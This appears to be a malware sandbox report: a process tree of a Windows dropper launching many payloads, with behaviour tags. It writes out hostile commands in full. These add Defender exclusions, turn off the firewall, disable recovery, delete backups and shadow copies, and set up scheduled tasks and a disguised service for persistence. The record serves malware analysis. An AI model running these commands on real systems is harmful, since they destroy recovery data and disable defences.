C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6068,i,14188350567436813603,15711324330211145383,524288 --field-trial-handle=2368,i,2224046638092438818,13714646342351023852,262144 --variations-seed-version --mojo-platform-channel-handle=6020 /prefetch:85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6072,i,17984823812488444669,13375900431171177719,524288 --field-trial-handle=2368,i,2224046638092438818,13714646342351023852,262144 --variations-seed-version --mojo-platform-channel-handle=6080 /prefetch:85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6116,i,10974080572367066277,14969350724836324260,524288 --field-trial-handle=2368,i,2224046638092438818,13714646342351023852,262144 --variations-seed-version --mojo-platform-channel-handle=6112 /prefetch:85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6076,i,16083284695565435001,4491356578583218356,524288 --field-trial-handle=2368,i,2224046638092438818,13714646342351023852,262144 --variations-seed-version --mojo-platform-channel-handle=6292 /prefetch:85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6268,i,7958514394857232330,8528754820969608398,524288 --field-trial-handle=2368,i,2224046638092438818,13714646342351023852,262144 --variations-seed-version --mojo-platform-channel-handle=6492 /prefetch:85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4276,i,4455542450362425048,2452651780622075515,524288 --field-trial-handle=2368,i,2224046638092438818,13714646342351023852,262144 --variations-seed-version --mojo-platform-channel-handle=4464 /prefetch:85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4876,i,8089925492547268035,616535757468736960,524288 --field-trial-handle=2368,i,2224046638092438818,13714646342351023852,262144 --variations-seed-version --mojo-platform-channel-handle=4872 /prefetch:85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4860,i,11033593018268056485,10739422272427948651,524288 --field-trial-handle=2368,i,2224046638092438818,13714646342351023852,262144 --variations-seed-version --mojo-platform-channel-handle=4832 /prefetch:85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4820,i,11705311661790413032,5801229194298563873,524288 --field-trial-handle=2368,i,2224046638092438818,13714646342351023852,262144 --variations-seed-version --mojo-platform-channel-handle=6120 /prefetch:85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5216,i,17437641895275861227,634873188926943275,524288 --field-trial-handle=2368,i,2224046638092438818,13714646342351023852,262144 --variations-seed-version --mojo-platform-channel-handle=6340 /prefetch:85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=3556,i,5540353687605167561,15823126146507966082,262144 --field-trial-handle=2368,i,2224046638092438818,13714646342351023852,262144 --variations-seed-version --mojo-platform-channel-handle=6168 /prefetch:85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4048,i,16992113085014303342,5960769102147060251,524288 --field-trial-handle=2368,i,2224046638092438818,13714646342351023852,262144 --variations-seed-version --mojo-platform-channel-handle=3804 /prefetch:85⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\ScreenConnect.WindowsClient.exe"C:\Users\Admin\AppData\Local\Temp\a\ScreenConnect.WindowsClient.exe"3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\dw20.exedw20.exe -x -s 17884⤵
- Drops file in Windows directory
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\ScreenConnect.WindowsBackstageShell.exe"C:\Users\Admin\AppData\Local\Temp\a\ScreenConnect.WindowsBackstageShell.exe"3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\dw20.exedw20.exe -x -s 14284⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\ScreenConnect.WindowsFileManager.exe"C:\Users\Admin\AppData\Local\Temp\a\ScreenConnect.WindowsFileManager.exe"3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\dw20.exedw20.exe -x -s 17884⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\ScreenConnect.ClientService.exe"C:\Users\Admin\AppData\Local\Temp\a\ScreenConnect.ClientService.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\a\3.exe"C:\Users\Admin\AppData\Local\Temp\a\3.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ServiceModelReg.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ServiceModelReg.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\6eq5gvOfRvNmCi54.exe"C:\Users\Admin\AppData\Local\Temp\a\6eq5gvOfRvNmCi54.exe"3⤵
- Executes dropped EXE
- Registers new Windows logon scripts automatically executed at logon.
- Suspicious behavior: EnumeratesProcesses
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\AppRepository\B2A4528A\MusNotificationce794c.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\AppRepository\B2A4528A\MusNotificationce794c.exe"4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\9z7BGnRGpgs8cZv7.exe"C:\Users\Admin\AppData\Local\Temp\a\9z7BGnRGpgs8cZv7.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /create /tn "ScheduledDefragmentation_1f05" /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\Themes\90D7B00F\UsoClient34ed49.exe" /sc minute /mo 1 /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\Themes\90D7B00F\UsoClient34ed49.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\Themes\90D7B00F\UsoClient34ed49.exe"4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\gM9anpOuZNKX8zHj.exe"C:\Users\Admin\AppData\Local\Temp\a\gM9anpOuZNKX8zHj.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /create /tn "DeviceMetadataRetrieval_e122" /tr "C:\Users\Admin\AppData\Roaming\Keys7EE7\SmartScreenHost27dac.exe" /sc minute /mo 1 /f4⤵
- Scheduled Task/Job: Scheduled Task
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Stop-Process -Force -Id 756; Start-Sleep -Seconds 3; Remove-Item 'C:\Users\Admin\AppData\Local\Temp\a\gM9anpOuZNKX8zHj.exe'4⤵
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\file_851477f5539ff9f4.exe"C:\Users\Admin\AppData\Local\Temp\a\file_851477f5539ff9f4.exe"3⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\a\a.exe"C:\Users\Admin\AppData\Local\Temp\a\a.exe"3⤵
- Executes dropped EXE
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe4⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\system32\wermgr.exe"C:\Windows\system32\wermgr.exe" "-outproc" "0" "3720" "2284" "2204" "2288" "0" "0" "2292" "0" "0" "0" "0" "0"5⤵
- Checks processor information in registry
- Enumerates system info in registry
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\SshCracker.exe"C:\Users\Admin\AppData\Local\Temp\a\SshCracker.exe"3⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\a\xeno.V1.3.55.exe"C:\Users\Admin\AppData\Local\Temp\a\xeno.V1.3.55.exe"3⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\a\xeno.V1.3.55.exe"C:\Users\Admin\AppData\Local\Temp\a\xeno.V1.3.55.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"5⤵
- Executes a command shell one-liner
-
-
C:\Users\Admin\AppData\Local\Temp\tmpl78i4ylj\xena.exeC:\Users\Admin\AppData\Local\Temp\tmpl78i4ylj\xena.exe5⤵
- Checks computer location settings
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\bnd_d1b8ee4c\RandomError.exe"C:\Users\Admin\AppData\Local\Temp\bnd_d1b8ee4c\RandomError.exe"6⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\bnd_d1b8ee4c\RandomError.exe"C:\Users\Admin\AppData\Local\Temp\bnd_d1b8ee4c\RandomError.exe"7⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
-
-
C:\Users\Admin\AppData\Local\Temp\bnd_d1b8ee4c\9s07g59jj323w77x.exe"C:\Users\Admin\AppData\Local\Temp\bnd_d1b8ee4c\9s07g59jj323w77x.exe"6⤵
- Executes dropped EXE
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\client.exe"C:\Users\Admin\AppData\Local\Temp\a\client.exe"3⤵
- Modifies WinLogon for persistence
- UAC bypass
- Executes dropped EXE
- System policy modification
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\a' -ErrorAction SilentlyContinue; Add-MpPreference -ExclusionPath 'C:\Windows' -ErrorAction SilentlyContinue"4⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SYSTEM32\netsh.exenetsh advfirewall set allprofiles state off4⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
-
-
C:\Windows\SYSTEM32\netsh.exenetsh advfirewall firewall add rule name="svchost" dir=in action=allow program="C:\Users\Admin\AppData\Local\Temp\a\client.exe" enable=yes4⤵
- Modifies Windows Firewall
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Disable-ComputerRestore -Drive C:\ -ErrorAction SilentlyContinue; Start-Process cmd -ArgumentList '/c','reagentc /disable' -WindowStyle Hidden -Wait -ErrorAction SilentlyContinue; Start-Process cmd -ArgumentList '/c','wbadmin delete backup -backupTarget:C: -allVersions -quiet' -WindowStyle Hidden -Wait -ErrorAction SilentlyContinue; Start-Process cmd -ArgumentList '/c','wbadmin delete backup -backupTarget:D: -allVersions -quiet' -WindowStyle Hidden -Wait -ErrorAction SilentlyContinue; Start-Process cmd -ArgumentList '/c','vssadmin delete shadows /all /quiet' -WindowStyle Hidden -Wait -ErrorAction SilentlyContinue"4⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c reagentc /disable5⤵
- Executes a command shell one-liner
-
C:\Windows\system32\ReAgentc.exereagentc /disable6⤵
-
-
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c wbadmin delete backup -backupTarget:C: -allVersions -quiet5⤵
- Executes a command shell one-liner
-
C:\Windows\system32\wbadmin.exewbadmin delete backup -backupTarget:C: -allVersions -quiet6⤵
- Deletes system backups
-
-
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c wbadmin delete backup -backupTarget:D: -allVersions -quiet5⤵
- Executes a command shell one-liner
-
C:\Windows\system32\wbadmin.exewbadmin delete backup -backupTarget:D: -allVersions -quiet6⤵
- Deletes system backups
-
-
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c vssadmin delete shadows /all /quiet5⤵
- Executes a command shell one-liner
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet6⤵
- Interacts with shadow copies
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\ScreenConnect.ClientSetup.exe"C:\Users\Admin\AppData\Local\Temp\a\ScreenConnect.ClientSetup.exe"3⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\25.2.4.9229\9fca689a8ddc10c4\ScreenConnect.ClientSetup.msi"4⤵
- Enumerates connected drives
- System Location Discovery: System Language Discovery
- Suspicious use of FindShellTrayWindow
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\file_73ed34a7752ecb3a.exe"C:\Users\Admin\AppData\Local\Temp\a\file_73ed34a7752ecb3a.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\is-RFJQP.tmp\file_73ed34a7752ecb3a.tmp"C:\Users\Admin\AppData\Local\Temp\is-RFJQP.tmp\file_73ed34a7752ecb3a.tmp" /SL5="$402A8,11357099,121344,C:\Users\Admin\AppData\Local\Temp\a\file_73ed34a7752ecb3a.exe"4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\is-CRT21.tmp\Da_L.exe"C:\Users\Admin\AppData\Local\Temp\is-CRT21.tmp\Da_L.exe"5⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
-
C:\ProgramData\JAVAkubernetes_v4\Da_L.exeC:\ProgramData\JAVAkubernetes_v4\Da_L.exe6⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\update.exe"C:\Users\Admin\AppData\Local\Temp\a\update.exe"3⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\a\support.client.exe"C:\Users\Admin\AppData\Local\Temp\a\support.client.exe"3⤵
- Manipulates Digital Signatures
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Modifies system certificate store
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe"4⤵
- Modifies registry class
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\svc.exe"C:\Users\Admin\AppData\Local\Temp\a\svc.exe"3⤵
- Checks computer location settings
- Executes dropped EXE
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" create WinUpdateHelper binPath= "\"C:\ProgramData\Microsoft\Windows Update Helper\msvc.exe\"" start= auto DisplayName= "Windows Update Helper Service"4⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" description WinUpdateHelper "Manages Windows Update helper components"4⤵
- Launches sc.exe
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\UpdateService' -ErrorAction SilentlyContinue"4⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" start WinUpdateHelper4⤵
- Launches sc.exe
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\877901a58750.exe"C:\Users\Admin\AppData\Local\Temp\a\877901a58750.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\a\file_8a7c2cae7ca4b114.exe"C:\Users\Admin\AppData\Local\Temp\a\file_8a7c2cae7ca4b114.exe"3⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\a\Client-built.exe"C:\Users\Admin\AppData\Local\Temp\a\Client-built.exe"3⤵
- Executes dropped EXE
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
-
-
C:\Users\Admin\AppData\Local\Temp\a\desk.exe"C:\Users\Admin\AppData\Local\Temp\a\desk.exe"3⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\a\file_f309f8496f916deb.exe"C:\Users\Admin\AppData\Local\Temp\a\file_f309f8496f916deb.exe"3⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\a\s.exe"C:\Users\Admin\AppData\Local\Temp\a\s.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\a\app.exe"C:\Users\Admin\AppData\Local\Temp\a\app.exe"3⤵
- Manipulates Digital Signatures
- Executes dropped EXE
- Enumerates connected drives
- System Location Discovery: System Language Discovery
- Modifies system certificate store
- Suspicious use of FindShellTrayWindow
-
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Manager - Postback Johan.msi" AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\a\app.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\a\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1785616794 "4⤵
- Enumerates connected drives
- System Location Discovery: System Language Discovery
- Suspicious use of FindShellTrayWindow
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\Upaavirkeligheden.exe"C:\Users\Admin\AppData\Local\Temp\a\Upaavirkeligheden.exe"3⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
-
C:\Users\Admin\AppData\Local\Temp\a\Upaavirkeligheden.exe"C:\Users\Admin\AppData\Local\Temp\a\Upaavirkeligheden.exe"4⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\file_77b5757ae75eb20b.exe"C:\Users\Admin\AppData\Local\Temp\a\file_77b5757ae75eb20b.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\a\file_3a1cc00092af29d0.exe"C:\Users\Admin\AppData\Local\Temp\a\file_3a1cc00092af29d0.exe"3⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Modifies registry class
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\a\test.vbs"4⤵
- Checks computer location settings
- Adds Run key to start application
- Executes a VBScript file via the Windows Script Host.
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn ondlrvess5556 /tr "wscript.exe 'C:\Users\Admin\AppData\Local\Temp\ondlrvesxx.vbs'" /sc minute /mo 25 /f5⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SysWOW64\wscript.exe"C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\233247155.vbs"5⤵
- Checks computer location settings
- Executes a VBScript file via the Windows Script Host.
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\233247155.ps1"6⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
-
-
-
-
C:\Windows\SysWOW64\wscript.exeC:\Windows\System32\wscript.exe //B "C:\Users\Admin\AppData\Local\Temp\a\test.vbs"4⤵
- Checks computer location settings
- Adds Run key to start application
- Executes a VBScript file via the Windows Script Host.
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn ondlrvess5556 /tr "wscript.exe 'C:\Users\Admin\AppData\Local\Temp\ondlrvesxx.vbs'" /sc minute /mo 25 /f5⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SysWOW64\wscript.exe"C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\879545372.vbs"5⤵
- Checks computer location settings
- Executes a VBScript file via the Windows Script Host.
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\879545372.ps1"6⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\db9c0fee.exe"C:\Users\Admin\AppData\Local\Temp\a\db9c0fee.exe"3⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
-
C:\Users\Admin\AppData\Local\Temp\a\setup.exe"C:\Users\Admin\AppData\Local\Temp\a\setup.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\wrm.exe"C:\Users\Admin\AppData\Local\Temp\a\wrm.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\wrm.exe"C:\Users\Admin\AppData\Local\Temp\a\wrm.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\bot_x64.exe"C:\Users\Admin\AppData\Local\Temp\a\bot_x64.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\xz5bc3xc.exe"C:\Users\Admin\AppData\Local\Temp\xz5bc3xc.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\byk4d5tg4nyo.exe"C:\Users\Admin\AppData\Local\Temp\a\byk4d5tg4nyo.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\5fzscnissh1s.exe"C:\Users\Admin\AppData\Local\Temp\a\5fzscnissh1s.exe"3⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --no-first-run --log-level=3 --headless=new4⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\HeadlessChrome7268241221859 /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\HeadlessChrome7268241221859\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\HeadlessChrome7268241221859 --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffee276c728,0x7ffee276c734,0x7ffee276c7405⤵
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-first-run --log-level=3 --headless=new4⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\HeadlessEdge7360241223281 /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\HeadlessEdge7360241223281\Crashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x234,0x238,0x23c,0x230,0x2b0,0x7ffeeeedc188,0x7ffeeeedc194,0x7ffeeeedc1a05⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --noerrdialogs --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2524,i,16717552889713526568,118783532824607890,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=2616 /prefetch:35⤵
- System Time Discovery
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --headless=new --noerrdialogs --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --field-trial-handle=2524,i,16717552889713526568,118783532824607890,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=2520 /prefetch:25⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --noerrdialogs --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2524,i,16717552889713526568,118783532824607890,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=2700 /prefetch:85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --field-trial-handle=2524,i,16717552889713526568,118783532824607890,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=3264 /prefetch:15⤵
-
-
